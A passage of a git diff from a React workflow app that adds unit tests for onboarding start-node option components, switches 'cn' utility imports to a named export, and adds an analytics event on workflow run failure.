+      expect(card).toBeInTheDocument()
+      // Check that it has cursor-pointer class to indicate clickability
+      expect(card).toHaveClass('cursor-pointer')
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should render with subtitle when provided', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: 'Optional Subtitle' })
+
+      // Assert
+      expect(screen.getByText('Optional Subtitle')).toBeInTheDocument()
+    })
+
+    it('should not render subtitle when not provided', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const titleElement = screen.getByText('Test Title').parentElement
+      expect(titleElement).not.toHaveTextContent('Optional Subtitle')
+    })
+
+    it('should render subtitle with correct styling', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: 'Subtitle Text' })
+
+      // Assert
+      const subtitle = screen.getByText('Subtitle Text')
+      expect(subtitle).toHaveClass('system-md-regular')
+      expect(subtitle).toHaveClass('text-text-quaternary')
+    })
+
+    it('should render custom icon component', () => {
+      // Arrange
+      const customIcon = <svg data-testid="custom-svg">Custom</svg>
+
+      // Act
+      renderComponent({ icon: customIcon })
+
+      // Assert
+      expect(screen.getByTestId('custom-svg')).toBeInTheDocument()
+    })
+
+    it('should render long title correctly', () => {
+      // Arrange
+      const longTitle = 'This is a very long title that should still render correctly'
+
+      // Act
+      renderComponent({ title: longTitle })
+
+      // Assert
+      expect(screen.getByText(longTitle)).toBeInTheDocument()
+    })
+
+    it('should render long description correctly', () => {
+      // Arrange
+      const longDescription = 'This is a very long description that explains the option in great detail and should still render correctly within the component layout'
+
+      // Act
+      renderComponent({ description: longDescription })
+
+      // Assert
+      expect(screen.getByText(longDescription)).toBeInTheDocument()
+    })
+
+    it('should render with proper layout structure', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+      expect(screen.getByText('Test description for the option')).toBeInTheDocument()
+      expect(screen.getByTestId('test-icon')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call onClick when card is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await user.click(card!)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClick when icon is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const icon = screen.getByTestId('test-icon')
+      await user.click(icon)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClick when title is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const title = screen.getByText('Test Title')
+      await user.click(title)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClick when description is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const description = screen.getByText('Test description for the option')
+      await user.click(description)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle multiple rapid clicks', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await user.click(card!)
+      await user.click(card!)
+      await user.click(card!)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(3)
+    })
+
+    it('should not throw error if onClick is undefined', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ onClick: undefined })
+
+      // Act & Assert
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await expect(user.click(card!)).resolves.not.toThrow()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle empty string title', () => {
+      // Arrange & Act
+      renderComponent({ title: '' })
+
+      // Assert
+      const titleContainer = screen.getByText('Test description for the option').parentElement?.parentElement
+      expect(titleContainer).toBeInTheDocument()
+    })
+
+    it('should handle empty string description', () => {
+      // Arrange & Act
+      renderComponent({ description: '' })
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should handle undefined subtitle gracefully', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: undefined })
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should handle empty string subtitle', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: '' })
+
+      // Assert
+      // Empty subtitle should still render but be empty
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should handle null subtitle', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: null })
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should render with subtitle containing special characters', () => {
+      // Arrange
+      const specialSubtitle = '(optional) - [Beta]'
+
+      // Act
+      renderComponent({ subtitle: specialSubtitle })
+
+      // Assert
+      expect(screen.getByText(specialSubtitle)).toBeInTheDocument()
+    })
+
+    it('should render with title and subtitle together', () => {
+      // Arrange & Act
+      const { container } = renderComponent({
+        title: 'Main Title',
+        subtitle: 'Secondary Text',
+      })
+
+      // Assert
+      expect(screen.getByText('Main Title')).toBeInTheDocument()
+      expect(screen.getByText('Secondary Text')).toBeInTheDocument()
+
+      // Both should be in the same heading element
+      const heading = container.querySelector('h3')
+      expect(heading).toHaveTextContent('Main Title')
+      expect(heading).toHaveTextContent('Secondary Text')
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have semantic heading structure', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const heading = container.querySelector('h3')
+      expect(heading).toBeInTheDocument()
+      expect(heading).toHaveTextContent('Test Title')
+    })
+
+    it('should have semantic paragraph for description', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const paragraph = container.querySelector('p')
+      expect(paragraph).toBeInTheDocument()
+      expect(paragraph).toHaveTextContent('Test description for the option')
+    })
+
+    it('should have proper cursor style for accessibility', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const card = container.querySelector('.cursor-pointer')
+      expect(card).toBeInTheDocument()
+      expect(card).toHaveClass('cursor-pointer')
+    })
+  })
+
+  // Additional Edge Cases
+  describe('Additional Edge Cases', () => {
+    it('should handle click when onClick handler is missing', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ onClick: undefined })
+
+      // Act & Assert - Should not throw error
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await expect(user.click(card!)).resolves.not.toThrow()
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.tsx
index e28de39fdd..2cc54b39ca 100644
--- a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.tsx
+++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.tsx
@@ -1,6 +1,6 @@
 'use client'
 import type { FC, ReactNode } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type StartNodeOptionProps = {
   icon: ReactNode
diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx
new file mode 100644
index 0000000000..5612d4e423
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx
@@ -0,0 +1,586 @@
+import React from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import StartNodeSelectionPanel from './start-node-selection-panel'
+import { BlockEnum } from '@/app/components/workflow/types'
+
+// Mock NodeSelector component
+jest.mock('@/app/components/workflow/block-selector', () => {
+  return function MockNodeSelector({
+    open,
+    onOpenChange,
+    onSelect,
+    trigger,
+  }: any) {
+    // trigger is a function that returns a React element
+    const triggerElement = typeof trigger === 'function' ? trigger() : trigger
+
+    return (
+      <div data-testid="node-selector">
+        {triggerElement}
+        {open && (
+          <div data-testid="node-selector-content">
+            <button
+              data-testid="select-schedule"
+              onClick={() => onSelect(BlockEnum.TriggerSchedule)}
+            >
+              Select Schedule
+            </button>
+            <button
+              data-testid="select-webhook"
+              onClick={() => onSelect(BlockEnum.TriggerWebhook)}
+            >
+              Select Webhook
+            </button>
+            <button
+              data-testid="close-selector"
+              onClick={() => onOpenChange(false)}
+            >
+              Close
+            </button>
+          </div>
+        )}
+      </div>
+    )
+  }
+})
+
+// Mock icons
+jest.mock('@/app/components/base/icons/src/vender/workflow', () => ({
+  Home: () => <div data-testid="home-icon">Home</div>,
+  TriggerAll: () => <div data-testid="trigger-all-icon">TriggerAll</div>,
+}))
+
+describe('StartNodeSelectionPanel', () => {
+  const mockOnSelectUserInput = jest.fn()
+  const mockOnSelectTrigger = jest.fn()
+
+  const defaultProps = {
+    onSelectUserInput: mockOnSelectUserInput,
+    onSelectTrigger: mockOnSelectTrigger,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Helper function to render component
+  const renderComponent = (props = {}) => {
+    return render(<StartNodeSelectionPanel {...defaultProps} {...props} />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+    })
+
+    it('should render user input option', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.userInputDescription')).toBeInTheDocument()
+      expect(screen.getByTestId('home-icon')).toBeInTheDocument()
+    })
+
+    it('should render trigger option', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.triggerDescription')).toBeInTheDocument()
+      expect(screen.getByTestId('trigger-all-icon')).toBeInTheDocument()
+    })
+
+    it('should render node selector component', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('node-selector')).toBeInTheDocument()
+    })
+
+    it('should have correct grid layout', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const grid = container.querySelector('.grid')
+      expect(grid).toBeInTheDocument()
+      expect(grid).toHaveClass('grid-cols-2')
+      expect(grid).toHaveClass('gap-4')
+    })
+
+    it('should not show trigger selector initially', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should accept onSelectUserInput prop', () => {
+      // Arrange
+      const customHandler = jest.fn()
+
+      // Act
+      renderComponent({ onSelectUserInput: customHandler })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+    })
+
+    it('should accept onSelectTrigger prop', () => {
+      // Arrange
+      const customHandler = jest.fn()
+
+      // Act
+      renderComponent({ onSelectTrigger: customHandler })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+    })
+
+    it('should handle missing onSelectUserInput gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onSelectUserInput: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+    })
+
+    it('should handle missing onSelectTrigger gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onSelectTrigger: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions - User Input Option
+  describe('User Interactions - User Input', () => {
+    it('should call onSelectUserInput when user input option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onSelectTrigger when user input option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+    })
+
+    it('should handle multiple clicks on user input option', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+      await user.click(userInputOption)
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(3)
+    })
+  })
+
+  // User Interactions - Trigger Option
+  describe('User Interactions - Trigger', () => {
+    it('should show trigger selector when trigger option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+    })
+
+    it('should not call onSelectTrigger immediately when trigger option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+    })
+
+    it('should call onSelectTrigger when a trigger is selected from selector', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select a trigger
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectTrigger).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined)
+    })
+
+    it('should call onSelectTrigger with correct node type for webhook', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select webhook trigger
+      await waitFor(() => {
+        expect(screen.getByTestId('select-webhook')).toBeInTheDocument()
+      })
+      const webhookButton = screen.getByTestId('select-webhook')
+      await user.click(webhookButton)
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectTrigger).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, undefined)
+    })
+
+    it('should hide trigger selector after selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select a trigger
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
+      // Assert - Selector should be hidden
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should pass tool config parameter through onSelectTrigger', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select a trigger (our mock doesn't pass toolConfig, but real NodeSelector would)
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
+      // Assert - Verify handler was called
+      // In real usage, NodeSelector would pass toolConfig as second parameter
+      expect(mockOnSelectTrigger).toHaveBeenCalled()
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should toggle trigger selector visibility', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Assert - Initially hidden
+      expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+
+      // Act - Show selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert - Now visible
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+
+      // Act - Close selector
+      const closeButton = screen.getByTestId('close-selector')
+      await user.click(closeButton)
+
+      // Assert - Hidden again
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should maintain state across user input selections', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Click user input multiple times
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+      await user.click(userInputOption)
+
+      // Assert - Trigger selector should remain hidden
+      expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+    })
+
+    it('should reset trigger selector visibility after selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open and select trigger
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
+      // Assert - Selector should be closed
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+
+      // Act - Click trigger option again
+      await user.click(triggerOption)
+
+      // Assert - Selector should open again
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle rapid clicks on trigger option', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+      await user.click(triggerOption)
+      await user.click(triggerOption)
+
+      // Assert - Should still be open (last click)
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle selecting different trigger types in sequence', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open and select schedule
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      await user.click(screen.getByTestId('select-schedule'))
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenNthCalledWith(1, BlockEnum.TriggerSchedule, undefined)
+
+      // Act - Open again and select webhook
+      await user.click(triggerOption)
+      await waitFor(() => {
+        expect(screen.getByTestId('select-webhook')).toBeInTheDocument()
+      })
+      await user.click(screen.getByTestId('select-webhook'))
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenNthCalledWith(2, BlockEnum.TriggerWebhook, undefined)
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(2)
+    })
+
+    it('should not crash with undefined callbacks', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({
+        onSelectUserInput: undefined,
+        onSelectTrigger: undefined,
+      })
+
+      // Act & Assert - Should not throw
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await expect(user.click(userInputOption)).resolves.not.toThrow()
+    })
+
+    it('should handle opening and closing selector without selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Close without selecting
+      await waitFor(() => {
+        expect(screen.getByTestId('close-selector')).toBeInTheDocument()
+      })
+      await user.click(screen.getByTestId('close-selector'))
+
+      // Assert - No selection callback should be called
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+
+      // Assert - Selector should be closed
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have both options visible and accessible', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeVisible()
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeVisible()
+    })
+
+    it('should have descriptive text for both options', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputDescription')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.triggerDescription')).toBeInTheDocument()
+    })
+
+    it('should have icons for visual identification', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('home-icon')).toBeInTheDocument()
+      expect(screen.getByTestId('trigger-all-icon')).toBeInTheDocument()
+    })
+
+    it('should maintain focus after interactions', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert - Component should still be in document
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+    })
+  })
+
+  // Integration Tests
+  describe('Integration', () => {
+    it('should coordinate between both options correctly', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Click user input
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+
+      // Act - Click trigger
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert - Trigger selector should open
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+
+      // Act - Select trigger
+      await user.click(screen.getByTestId('select-schedule'))
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1)
+    })
+
+    it('should render all components in correct hierarchy', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const grid = container.querySelector('.grid')
+      expect(grid).toBeInTheDocument()
+
+      // Both StartNodeOption components should be rendered
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+
+      // NodeSelector should be rendered
+      expect(screen.getByTestId('node-selector')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/hooks/use-workflow-run.ts b/web/app/components/workflow-app/hooks/use-workflow-run.ts
index 6164969b3d..f051f73489 100644
--- a/web/app/components/workflow-app/hooks/use-workflow-run.ts
+++ b/web/app/components/workflow-app/hooks/use-workflow-run.ts
@@ -29,6 +29,7 @@ import { post } from '@/service/base'
 import { ContentType } from '@/service/fetch'
 import { TriggerType } from '@/app/components/workflow/header/test-run-menu'
 import { AppModeEnum } from '@/types/app'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 type HandleRunMode = TriggerType
 type HandleRunOptions = {
@@ -359,6 +360,7 @@ export const useWorkflowRun = () => {
 
       if (onError)
         onError(params)
+      trackEvent('workflow_run_failed', { workflow_id: flowId, reason: params.error, node_type: params.node_type })
     }
 
     const wrappedOnCompleted: IOtherOptions['onCompleted'] = async (hasError?: boolean, errorMessage?: string) => {
diff --git a/web/app/components/workflow/block-icon.tsx b/web/app/components/workflow/block-icon.tsx
index a4f53f2a64..3c66d07364 100644
--- a/web/app/components/workflow/block-icon.tsx
+++ b/web/app/components/workflow/block-icon.tsx
@@ -27,7 +27,7 @@ import {
   WebhookLine,
 } from '@/app/components/base/icons/src/vender/workflow'
 import AppIcon from '@/app/components/base/app-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type BlockIconProps = {
   type: BlockEnum
diff --git a/web/app/components/workflow/block-selector/all-start-blocks.tsx b/web/app/components/workflow/block-selector/all-start-blocks.tsx
index 7986252c1a..e073113c05 100644
--- a/web/app/components/workflow/block-selector/all-start-blocks.tsx
+++ b/web/app/components/workflow/block-selector/all-start-blocks.tsx
@@ -15,7 +15,7 @@ import type { TriggerDefaultValue, TriggerWithProvider } from './types'
 import StartBlocks from './start-blocks'
 import TriggerPluginList from './trigger-plugin/list'
 import { ENTRY_NODE_TYPES } from './constants'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Link from 'next/link'
 import { RiArrowRightUpLine } from '@remixicon/react'
 import { getMarketplaceUrl } from '@/utils/var'
diff --git a/web/app/components/workflow/block-selector/all-tools.tsx b/web/app/components/workflow/block-selector/all-tools.tsx
index 08eac3f8cc..8968a01557 100644
--- a/web/app/components/workflow/block-selector/all-tools.tsx
+++ b/web/app/components/workflow/block-selector/all-tools.tsx
@@ -14,7 +14,7 @@ import { ToolTypeEnum } from './types'
 import Tools from './tools'
 import { useToolTabs } from './hooks'
 import ViewTypeSelect, { ViewType } from './view-type-select'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import { SearchMenu } from '@/app/components/base/icons/src/vender/line/general'
 import type { ListRef } from '@/app/components/workflow/block-selector/market-place-plugin/list'
@@ -204,7 +204,7 @@ const AllTools = ({
   }, [onSelect])
 
   return (
-    <div className={cn('min-w-[400px] max-w-[500px]', className)}>
+    <div className={cn('max-w-[500px]', className)}>
       <div className='flex items-center justify-between border-b border-divider-subtle px-3'>
         <div className='flex h-8 items-center space-x-1'>
           {
diff --git a/web/app/components/workflow/block-selector/blocks.tsx b/web/app/components/workflow/block-selector/blocks.tsx
index cae1ec32a5..16256bf345 100644
--- a/web/app/components/workflow/block-selector/blocks.tsx
+++ b/web/app/components/workflow/block-selector/blocks.tsx
@@ -134,7 +134,7 @@ const Blocks = ({
   }, [groups, onSelect, t, store])
 
   return (
-    <div className='max-h-[480px] min-w-[400px] max-w-[500px] overflow-y-auto p-1'>
+    <div className='max-h-[480px] max-w-[500px] overflow-y-auto p-1'>
       {
         isEmpty && (
           <div className='flex h-[22px] items-center px-3 text-xs font-medium text-text-tertiary'>{t('workflow.tabs.noResult')}</div>
diff --git a/web/app/components/workflow/block-selector/data-sources.tsx b/web/app/components/workflow/block-selector/data-sources.tsx
index ba92acb33f..c354208dee 100644
--- a/web/app/components/workflow/block-selector/data-sources.tsx
+++ b/web/app/components/workflow/block-selector/data-sources.tsx
@@ -12,7 +12,7 @@ import type {
 import type { DataSourceDefaultValue, ToolDefaultValue } from './types'
 import Tools from './tools'
 import { ViewType } from './view-type-select'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import PluginList, { type ListRef } from '@/app/components/workflow/block-selector/market-place-plugin/list'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import { DEFAULT_FILE_EXTENSIONS_IN_LOCAL_FILE_DATA_SOURCE } from './constants'
diff --git a/web/app/components/workflow/block-selector/index-bar.tsx b/web/app/components/workflow/block-selector/index-bar.tsx
index c9934bbddd..f9a839a982 100644
--- a/web/app/components/workflow/block-selector/index-bar.tsx
+++ b/web/app/components/workflow/block-selector/index-bar.tsx
@@ -2,7 +2,7 @@ import { pinyin } from 'pinyin-pro'
 import type { FC, RefObject } from 'react'
 import type { ToolWithProvider } from '../types'
 import { CollectionType } from '../../tools/types'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export const CUSTOM_GROUP_NAME = '@@@custom@@@'
 export const WORKFLOW_GROUP_NAME = '@@@workflow@@@'
@@ -86,8 +86,8 @@ const IndexBar: FC<IndexBarProps> = ({ letters, itemRefs, className }) => {
       element.scrollIntoView({ behavior: 'smooth' })
   }
   return (
-    <div className={classNames('index-bar sticky top-[20px] flex h-full w-6 flex-col items-center justify-center text-xs font-medium text-text-quaternary', className)}>
-      <div className={classNames('absolute left-0 top-0 h-full w-px bg-[linear-gradient(270deg,rgba(255,255,255,0)_0%,rgba(16,24,40,0.08)_30%,rgba(16,24,40,0.08)_50%,rgba(16,24,40,0.08)_70.5%,rgba(255,255,255,0)_100%)]')}></div>
+    <div className={cn('index-bar sticky top-[20px] flex h-full w-6 flex-col items-center justify-center text-xs font-medium text-text-quaternary', className)}>
+      <div className={cn('absolute left-0 top-0 h-full w-px bg-[linear-gradient(270deg,rgba(255,255,255,0)_0%,rgba(16,24,40,0.08)_30%,rgba(16,24,40,0.08)_50%,rgba(16,24,40,0.08)_70.5%,rgba(255,255,255,0)_100%)]')}></div>
       {letters.map(letter => (
         <div className="cursor-pointer hover:text-text-secondary" key={letter} onClick={() => handleIndexClick(letter)}>
           {letter}
diff --git a/web/app/components/workflow/block-selector/market-place-plugin/action.tsx b/web/app/components/workflow/block-selector/market-place-plugin/action.tsx
index 034ecbad45..3d0cc7dfe7 100644
--- a/web/app/components/workflow/block-selector/market-place-plugin/action.tsx
+++ b/web/app/components/workflow/block-selector/market-place-plugin/action.tsx
@@ -11,7 +11,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
